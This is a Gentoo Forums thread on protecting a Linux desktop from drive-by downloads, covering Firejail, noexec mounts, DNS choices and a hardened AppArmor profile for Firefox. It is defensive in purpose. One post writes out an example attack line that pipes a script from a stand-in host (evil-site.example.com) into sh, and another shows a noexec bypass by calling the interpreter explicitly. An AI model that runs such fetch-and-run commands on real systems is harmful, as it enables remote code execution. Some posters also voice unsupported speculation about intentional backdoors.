Gentoo Forums
Gentoo Forums
Gentoo Forums
Quick Search: in
[Security] Is Gentoo more secure against exploit-kits ?
View unanswered posts
View posts from last 24 hours

 
Reply to topic    Gentoo Forums Forum Index Networking & Security
View previous topic :: View next topic  
Author Message
Amity88
Apprentice
Apprentice


Joined: 03 Jul 2010
Posts: 246
Location: Third planet from the Sun

PostPosted: Sat Dec 21, 2019 8:24 am    Post subject: [Security] Is Gentoo more secure against exploit-kits ? Reply with quote

Basically the thread model here are web based malware, stuff like drive-by downloads and the crap hidden inside some ads. Are we more secure against them cause every Gentoo install has a unique configuration? I'm mainly trying to figure out how safe it is to surf random websites on Gentoo without using my script blocker.
_________________
Ant P. wrote:
The enterprise distros sell their binaries. Canonical sells their users.


Also... Be ignorant... Be happy! :)
Back to top
View user's profile Send private message
Hu
Moderator
Moderator


Joined: 06 Mar 2007
Posts: 16199

PostPosted: Sat Dec 21, 2019 5:40 pm    Post subject: Reply with quote

It depends on the particular threat. Historically, malware was usually native code, so just being on Linux at all was a huge barrier to malware, relative to being on Windows. However, as browsers have become more bloated, they have greatly increased their portable attack surface. As I understand it, many attacks against web browsers are now cross-platform, because they are based on getting the browser to mislead the user (for example, telling you that you're on forums.gentoo.org when you aren't, so then you input your forums password to a site that isn't actually operated by Gentoo) or getting the browser to do some action that it supports, but in a situation where it shouldn't do that. For example, browsers legitimately support attaching local files to forms and uploading them. We use that when submitting bug reports. However, you don't want your browser attaching your ssh private key to a form sent to a malicious website. The attacker would love for that to happen, and with the right browser bug, may convince the browser to do that. Personally, I would keep the script blocker enabled as much as possible, and would run the browser with as little local capability as possible. For the latter, look at projects like Firejail, which minimize what the browser can see, so even if it goes rogue, its ability to cause real harm is limited. For further isolation, use separate jails for sensitive versus risky content, so that an attacker who uploaded the entire browser directory still wouldn't get anything important.
Back to top
View user's profile Send private message
Amity88
Apprentice
Apprentice


Joined: 03 Jul 2010
Posts: 246
Location: Third planet from the Sun

PostPosted: Sat Dec 21, 2019 7:01 pm    Post subject: Reply with quote

Hu wrote:
It depends on the particular threat. Historically, malware was usually native code, so just being on Linux at all was a huge barrier to malware, relative to being on Windows. However, as browsers have become more bloated, they have greatly increased their portable attack surface. As I understand it, many attacks against web browsers are now cross-platform


... yeah, this is one of the main reasons why I no longer feel all that secure using Linux over Windows. In the past it was just stuff that get transferred on removable media and things like autoruns, using Linux nearly made me feel invincible against those but as of late the major attack vector seems to be this bloated cross-platform software that's open to the world. :(

Quote:
because they are based on getting the browser to mislead the user (for example, telling you that you're on forums.gentoo.org when you aren't, so then you input your forums password to a site that isn't actually operated by Gentoo)

This is basically DNS spoofing right? Isn't it adequate to just ensure that the hosts file is secured and that I'm using Google's DNS ?

Quote:
getting the browser to do some action that it supports, but in a situation where it shouldn't do that. For example, browsers legitimately support attaching local files to forms and uploading them. We use that when submitting bug reports. However, you don't want your browser attaching your ssh private key to a form sent to a malicious website. The attacker would love for that to happen, and with the right browser bug, may convince the browser to do that.

Run the browser with as little local capability as possible. For the latter, look at projects like Firejail, which minimize what the browser can see, so even if it goes rogue, its ability to cause real harm is limited. For further isolation, use separate jails for sensitive versus risky content, so that an attacker who uploaded the entire browser directory still wouldn't get anything important

Interesting... never really thought of this one. Can't this one be prevented by having a separate account for web browsing, one with low-privileges? Wouldn't that be good enough to sandbox a web browser?

Quote:
Personally, I would keep the script blocker enabled as much as possible

Okay, but it can be a pain sometimes. I'm pretty certain that it has saved my butt before

I've come across some statistics showing that nearly half of web-based malware infections are done through drive-by downloads. Script blockers would definitely be effective but I'd like to have a few more security layers if possible.
_________________
Ant P. wrote:
The enterprise distros sell their binaries. Canonical sells their users.


Also... Be ignorant... Be happy! :)
Back to top
View user's profile Send private message
Hu
Moderator
Moderator


Joined: 06 Mar 2007
Posts: 16199

PostPosted: Sat Dec 21, 2019 8:02 pm    Post subject: Reply with quote

Amity88 wrote:
Quote:
because they are based on getting the browser to mislead the user (for example, telling you that you're on forums.gentoo.org when you aren't, so then you input your forums password to a site that isn't actually operated by Gentoo)
This is basically DNS spoofing right? Isn't it adequate to just ensure that the hosts file is secured and that I'm using Google's DNS ?
That is one vector, but not the one I was thinking about. I've seen browser security advisories about how under certain circumstances, the URL bar would show a string that was not consistent with the actual URL of the page being shown in the main area. In every case I know of, it was considered a security bug that this could be done, and was fixed in a subsequent release. However, it's still a problem for anyone who can't or won't upgrade (whether because the new release isn't out yet, or doesn't work on their platform, or breaks their workflow). Perhaps more importantly, it's a problem because it can only be fixed by changing the browser's code. Preventive preparation, like what you proposed, doesn't necessarily help.
Amity88 wrote:
Interesting... never really thought of this one. Can't this one be prevented by having a separate account for web browsing, one with low-privileges? Wouldn't that be good enough to sandbox a web browser?
Yes, if you set permissions on your important home directory to prevent the low privilege user from accessing it.
Amity88 wrote:
I've come across some statistics showing that nearly half of web-based malware infections are done through drive-by downloads. Script blockers would definitely be effective but I'd like to have a few more security layers if possible.
To me, a drive-by download implies getting the browser to run a native program as the next step. If you run the browser in an environment where running downloaded code is not allowed, then a drive-by becomes merely an annoying waste of storage space.
Back to top
View user's profile Send private message
krinn
Watchman
Watchman


Joined: 02 May 2003
Posts: 7466

PostPosted: Sun Dec 22, 2019 3:06 pm    Post subject: Reply with quote

Amity88 wrote:
This is basically DNS spoofing right? Isn't it adequate to just ensure that the hosts file is secured and that I'm using Google's DNS ?

This looks like a weakness rather than an advantage, you're betting Google cannot be hack ; but i don't think anyone could say that.
Next to that, if someone want aim at DNS server, the main reason would be get the most users possible, Google DNS are perfect for the task, the more the users the better the result
It's even worst as you blindly trust a commercial company that is per laws tied to NSA and friends.
Back to top
View user's profile Send private message
Amity88
Apprentice
Apprentice


Joined: 03 Jul 2010
Posts: 246
Location: Third planet from the Sun

PostPosted: Mon Dec 23, 2019 2:05 pm    Post subject: Reply with quote

Hu wrote:
To me, a drive-by download implies getting the browser to run a native program as the next step. If you run the browser in an environment where running downloaded code is not allowed, then a drive-by becomes merely an annoying waste of storage space.


How effective is firejail at this? I seem to still be able to download stuff. Also, wouldn't a noexec mount prevent them from running should it do get downloaded? This discussion is certainly productive, helps me bounce off ideas that likely would/wouldn't work :)

krinn wrote:
his looks like a weakness rather than an advantage, you're betting Google cannot be hack

I agree with your point but at the end of the day I have to use some dns server. I'm just betting on the idea that Google employees are very competent.
Out of curiosity, what else could I use besides my ISP's or Google's DNS?
_________________
Ant P. wrote:
The enterprise distros sell their binaries. Canonical sells their users.


Also... Be ignorant... Be happy! :)
Back to top
View user's profile Send private message
mrbassie
l33t
l33t


Joined: 31 May 2013
Posts: 614

PostPosted: Mon Dec 23, 2019 2:27 pm    Post subject: Reply with quote

Amity88 wrote:

Out of curiosity, what else could I use besides my ISP's or Google's DNS?


opendns.
Back to top
View user's profile Send private message
Hu
Moderator
Moderator


Joined: 06 Mar 2007
Posts: 16199

PostPosted: Tue Dec 24, 2019 3:57 am    Post subject: Reply with quote

Amity88 wrote:
Hu wrote:
To me, a drive-by download implies getting the browser to run a native program as the next step.
How effective is firejail at this?
Firejail is for quickly and easily blocking the browser from doing things you think it should never do, like browse sensitive parts of your home directory or access system calls the browser has no legitimate need to use. Firejail doesn't readily block drive-by downloads because downloading user-approved files is an action that should work, and the jail can't readily differentiate between user-approved and unapproved, so either you block all downloads or you don't block any. The maintainers decided that permitting all downloads was a more user-friendly choice than blocking all downloads.
Amity88 wrote:
Also, wouldn't a noexec mount prevent them from running should it do get downloaded?
noexec certainly raises the bar, yes. It's not perfect though, because some script interpreters can, if invoked explicitly, interpret a script that is stored in a noexec mount. For example:
Code:
# Assume /tmp is already mounted noexec
/tmp$ printf '%s\n' '#!/bin/sh' 'echo a' > demo.sh
/tmp$ cat demo.sh
#!/bin/sh
echo a
/tmp$ ./demo.sh
-bash: ./demo.sh: Permission denied
/tmp$ chmod +x demo.sh
/tmp$ ./demo.sh
-bash: ./demo.sh: Permission denied
/tmp$ sh demo.sh
a
/tmp$ chmod -x demo.sh
/tmp$ sh demo.sh
a
The mount option helps, since now the attacker must invoke the interpreter by name and pass it the path of the script, rather than just exec the script directly. Firejail can also help here by arranging that the jail has a minimum of working commands in it, so that even if something does run, it has far fewer utilities available than on a standard system. For example, instead of an attacker installing a curlpipesh script (curl https://evil-site.example.com/ | sh -), the attacker will need to bundle the entire payload into the initial script because curl doesn't work inside the jail. An attacker may be able to do this, but may not have bothered if typical victims can be affected by the simpler version.
Back to top
View user's profile Send private message
gengreen
Tux's lil' helper
Tux's lil' helper


Joined: 23 Dec 2017
Posts: 135

PostPosted: Wed Dec 25, 2019 1:18 pm    Post subject: Reply with quote

For good security I recommand : https://wiki.gentoo.org/wiki/Simple_sandbox

With apparmor but write every profile from scratch : https://gitlab.com/apparmor/apparmor/-/wikis/Profiling_by_hand

The more you restrict (read / write / execute / memory mapping) of the application, the less it become possible to exploit a vulnerability that it can contain. Do not use the default profile shipped with apparmor, it is made to work out of the box and not doesn't focus on security.

Writting the profile allowing only what you need/want from it and restrict everything else, even if Firefox want access. This go behind the "Check the box to allow Firefox to send data....", when you don't explicitly allow something from Firefox, the default is to deny, you will be surprised by how much action apparmor will block from Firefox , even when you do nothing

An outdated hardened profile for Firefox for you to have a guideline, I gived up Firefox last year, it become not revelant trying to secure it from the main system, instead I use qemu to emulate an entire system only for Firefox (alpine linux is a good choice of img qemu)

Code:
 # Apparmor 2.13.1 -  Copyright (C) 2009-2018 Canonical Ltd.
#
# Hardened profile for firefox 60.5.0

#include <tunables/global>

# Path to the binary
/usr/lib/firefox/firefox {

   # Basic deny

   deny /usr/** w,
   deny /etc/** w,
   deny /opt/** rw,
   deny /boot/** rw,

   # /dev

   owner /dev/urandom r,
   /dev/shm/org.chromium.* rw, # This need confirmation

   # /tmp

   deny /tmp/* rw,

   # ipv4 only

   network inet stream,
   deny network inet6 stream,

   # /etc conf

   /etc/fstab r,
   /etc/drirc r,
   /etc/gre.d/* r,
   /etc/mime.types r,
   /etc/ld-musl-x86_64.path r,
   /etc/localtime r,
   /etc/hosts r,
   /etc/fonts/** r,
   /etc/timezone r,
   /etc/ld.so.conf r,
   /etc/gtk-3.0/settings.ini r,
   
   # /lib

   /lib/libz* rm,
   /lib/libmount* rm,
   /lib/libpcre* rm,
   /lib/libuuid* rm,
   /lib/libbz2* rm,
   /lib/libblkid* rm,
 
   # /usr/lib

   /usr/lib/llvm/{7,8,9}/lib/* rm,
   /usr/lib/libgbm* rm,
   /usr/lib/libEGL* rm,
   /usr/lib/libbsd* rm,
   /usr/lib/libasound* rm,
   /usr/lib/libfree* rm,
   /usr/lib/libpixman-1* rm,
   /usr/lib/libsoftokn3* rm,
   /usr/lib/libx* rm,
   /usr/lib/libX* rm,
   /usr/lib/libdrm* rm,
   /usr/lib/libgl* rm,
   /usr/lib/libGL* rm,
   /usr/lib/libICE* rm,
   /usr/lib/libSM* rm,
   /usr/lib/libicu* rm,
   /usr/lib/libvpx* rm,
   /usr/lib/libevent-2.1* rm,
   /usr/lib/libhunspell* rm,
   /usr/lib/libjpeg* rm,
   /usr/lib/libsqlite3* rm,
   /usr/lib/libnspr4* rm,
   /usr/lib/libgtk-{,[0-9]}* rm,
   /usr/lib/libgdk* rm,
   /usr/lib/libgmodule-2.0* rm,
   /usr/lib/libpango* rm,
   /usr/lib/libcairo* rm,
   /usr/lib/libcroco* rm,
   /usr/lib/libatk-1.0* rm,
   /usr/lib/libepoxy* rm,
   /usr/lib/libgio-2.0* rm,
   /usr/lib/libharfbuzz* rm,
   /usr/lib/libgobject-2.0* rm,
   /usr/lib/libfontconfig* rm,
   /usr/lib/libpixman-1* rm,
   /usr/lib/libpng16* rm,
   /usr/lib/libgraphite2* rm,
   /usr/lib/libfribidi* rm,
   /usr/lib/libffi* rm,
   /usr/lib/libexpat* rm,
   /usr/lib/libplds4* rm,
   /usr/lib/libplc4* rm,
   /usr/lib/librsvg* rm,
   /usr/lib/libssl* rm,
   /usr/lib/libnss* rm,
   /usr/lib/libsmime3* rm,

   /usr/lib/gdk-pixbuf-2.0/2.10.0/loaders.cache r,
   /usr/lib/gdk-pixbuf-2.0/2.10.0/loaders/*.so rm,
   /usr/lib/gcc/x86_64-gentoo-linux-musl/{,[0-9].*}/libgcc_s.so.{[0-9],[0-9].*} rm,
   /usr/lib/gcc/x86_64-gentoo-linux-musl/{,[0-9].*}/libstdc++.so.{[0-9],[0-9].*} rm,
   /usr/lib/gtk-{2,3}.0/{,[0-9].*}/immodules.cache r,
   /usr/lib/gtk-{2,3}.0/{,[0-9].*}/engines/* rm,
   
   # Firefox directory

   /usr/lib/firefox/* r,
   /usr/lib/firefox/firefox ix,
   /usr/lib/firefox/plugin-container ix,
   /usr/lib/firefox/{,[a-z]*}.so m,
   /usr/lib/firefox/browser/omni.ja  r,
   /usr/lib/firefox/browser/chrome.manifest r,
   /usr/lib/firefox/fonts/* r,
   /usr/lib/firefox/defaults/** r,
   /usr/lib/firefox/browser/chrome/icons/** r,

   # Disable default features of Firefox : Pocket, Screenshot, Followonsearch, Form autofill, Activity stream...

   deny /usr/lib/firefox/browser/features/ r,
   deny /usr/lib/firefox/browser/features/* rwx,

  # Font

   /usr/share/{mime,fonts,X11,glib-2.0}/** r,
   /var/cache/fontconfig/* r,
 
   # Basic user files

   owner @{HOME}/.Xauthority r,
   owner @{HOME}/.{config,cache}/fontconfig/ r,
   owner @{HOME}/.local/share/recently-used.xbel r,
   
   # Firefox specific config files per profile

   owner @{HOME}/.mozilla/firefox/profiles.ini r,
   owner @{HOME}/.mozilla/firefox/*.default/** r,
   owner @{HOME}/.mozilla/firefox/*.default/*.{txt,xml,html,ini,json,sqlite,js,lz4,tmp,sqlite-wal,bak,sqlite-shm,sqlite-journal,db} wk,
   owner @{HOME}/.mozilla/firefox/*.default/browser-extension-data/*/*.{js,tmp}  w,
   owner @{HOME}/.mozilla/firefox/*.default/lock w,
   owner @{HOME}/.mozilla/firefox/*.default/storage/permanent/chrome/idb/*.sqlite wk,
   owner @{HOME}/.mozilla/firefox/*.default/.parentlock wk,

   # Enforce denied read/write to datareporting and to the whole .cache/ directory, for the following reasons :
   #
   # /safebrowsing/ - Related file of the safebrowsing
   # activity-stream.tippytop.json - Log your browsing history, even with "never remember history" or "private browsing" enabled.
   # /startupCache/ - Include binary format as cache

   deny @{HOME}/.cache/mozilla/firefox/*.default/* rw,
   deny @{HOME}/.mozilla/firefox/*.default/datareporting/* w,

}


Apparmor doesn't fix vulnerability, but can prevent them to be exploited.

For the DNS just use tor : https://wiki.gentoo.org/wiki/Tor (DNS resolver)

I mostly use https://www.netsurf-browser.org/ as most of my website doesn't require javascript to work and render properly (The gentoo wiki and forum are the perfect example. Google and Bing work too nicely), this browser is the only one existing today that follow a security minded development, giving back to the web something lost decate ago : a comfortable and clean usage of the web.

Development is slow but this is how good quality software are made.

In a general way of speaking about exploit and Gentoo : This is the only distribution where you can build your system without dbus, systemd, udev, pulseaudio... Total control of everything, portage correlate perfectly everything in your system, if you control your Gentoo, it become very challenging to exploit/rootkit/backdoor the system.
Back to top
View user's profile Send private message
Amity88
Apprentice
Apprentice


Joined: 03 Jul 2010
Posts: 246
Location: Third planet from the Sun

PostPosted: Fri Dec 27, 2019 7:00 am    Post subject: Reply with quote

Hu wrote:
certainly raises the bar, yes. It's not perfect though, because some script interpreters can, if invoked explicitly, interpret a script that is stored in a noexec mount.


... I see your point :( A program with exec permissions could interpret and execute stuff even if the shell/script doesn't have exec permissions.

Hu wrote:
An attacker may be able to do this, but may not have bothered if typical victims can be affected by the simpler version.

I agree, especially since (I assume) that most web based malware would be somewhat generic. You don't have to outrun the bear, just need to have enough speed to outpace its other (potential) victims.

gengreen wrote:
The more you restrict (read / write / execute / memory mapping) of the application, the less it become possible to exploit a vulnerability that it can contain. Do not use the default profile shipped with apparmor, it is made to work out of the box and not doesn't focus on security.


(Thanks for sharing all that info, I'll try experimenting with them. Lot's of useful stuff/links here)

I've tried using Apparmor before, it's certainly easier than SELinux but I ran into two issues specifically with Firefox.

    1. The profiles were created using logprof while setting Apparmor to complain rather than enforce. Despite this, Firefox had some weird behavior unless AppArmor was completely disabled (I don't remember exactly what, maybe video/audio wasn't playing). I need to revisit this again, but it was a showstopper back when I tired it. Did you face any such issues?

    2. Firefox would spawn many sub-processes. Logprof seems to treat them as separate applications rather than child process.


gengreen wrote:
This is the only distribution where you can build your system without dbus, systemd, udev, pulseaudio...

There is an option to build without dbus and udev but won't that make my system less usable? I use a WM instead of a full blown DE but without dbus, I doubt that the notifications mechanisms and flash drive automount would work. Same with eudev.
_________________
Ant P. wrote:
The enterprise distros sell their binaries. Canonical sells their users.


Also... Be ignorant... Be happy! :)
Back to top
View user's profile Send private message
ct85711
Veteran
Veteran


Joined: 27 Sep 2005
Posts: 1791

PostPosted: Fri Dec 27, 2019 9:06 am    Post subject: Reply with quote

Well, auto mounting/unmounting has been supported in linux for a long time before dbus was even thought of (it is part of the core system functionality), and a lot of it is what the system does every time the starts/shuts down. All of it boils down to the mount command and using the fstab... If anything, I would think using fstab to automatically mount flash drives would be more secure than regular automount... First, you can specify a specific location for the flash drive will be mounted, and what it's permissions are. Add with Selinux/apparmor, I would think it shouldn't be too hard to setup a specific policy/profile for that location to further secure it if necessary. The notifications side, more of depends on your needs. Sure it is easy to get rid of dbus; I got rid of dbus on my system without any issues, but I don't need any notifications to worry about it. Getting rid of udev is much more difficult, but possible; a lot of work is involved on maintaining your system then. I'd more of not getting rid of udev as the disadvantages involved ways too much than the advantages.

In the end, one of the key parts of security is minimizing the threat surface. Part of that, is only exposing what services that are necessary. The other part, is minimizing the surface area from all the installed packages. This part, is often overlooked, but can provide a potential threat vector. Any package installed, may contain a vulnerability waiting to be exploited (this is thing of life), but simply not even having a package that has no use for you eliminates that potential source.
Back to top
View user's profile Send private message
gengreen
Tux's lil' helper
Tux's lil' helper


Joined: 23 Dec 2017
Posts: 135

PostPosted: Mon Dec 30, 2019 9:08 pm    Post subject: Reply with quote

Quote:
There is an option to build without dbus and udev but won't that make my system less usable? I use a WM instead of a full blown DE but without dbus, I doubt that the notifications mechanisms and flash drive automount would work. Same with eudev.


This is a question on how do you use, want and need your system.

I personally found less for not say unusable, generic distribution that install and run multiples services that I don't need, known or want from the base install. I don't want to debate if systemd should be used or better, but when I look the http://man7.org/linux/man-pages/man1/systemd.1.html (including systemctl etc)... Something that take over control of my userspace with a range of functions/settings that I don't need, the more usable, secure and fast I will get with it...

But a lot of software today software today start to require all of those library dependence, so as I said, really depends on how do you use your system.

Quote:
've tried using Apparmor before, it's certainly easier than SELinux but I ran into two issues specifically with Firefox.


I cannot comment of SELinux, never used tried. The problem I have with it is : Who is behind the development of it. Sure the NSA made it to secure itself, but nothing tell me that they don't voluntary hide vulnerability on it. If I would not expect a backdoor, cve like : https://linuxscriptshub.com/update-and-patch-linux-server-now-sudo-bug-cve-2017-1000367/ may have been intentional.

Quote:
In the end, one of the key parts of security is minimizing the threat surface. Part of that, is only exposing what services that are necessary. The other part, is minimizing the surface area from all the installed packages. This part, is often overlooked, but can provide a potential threat vector. Any package installed, may contain a vulnerability waiting to be exploited (this is thing of life), but simply not even having a package that has no use for you eliminates that potential source.


Nice resume, I can only agree with this.
Back to top
View user's profile Send private message
tr1nk3t
n00b
n00b


Joined: 31 Aug 2020
Posts: 2

PostPosted: Mon Aug 31, 2020 11:18 pm    Post subject: Reply with quote

In my experience, *any* OS is only as secure as you make it. That being said, if you cannot or will not make the time to secure your "everyday" system: consider using a "live" CD/DVD distro like Tails/KNOPPIX/Grml/etc. for internet access. Gentoo's Hardened Project is a start, any secure browsing solution will be multifaceted.
Back to top
View user's profile Send private message
Display posts from previous:   
Reply to topic    Gentoo Forums Forum Index Networking & Security All times are GMT
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum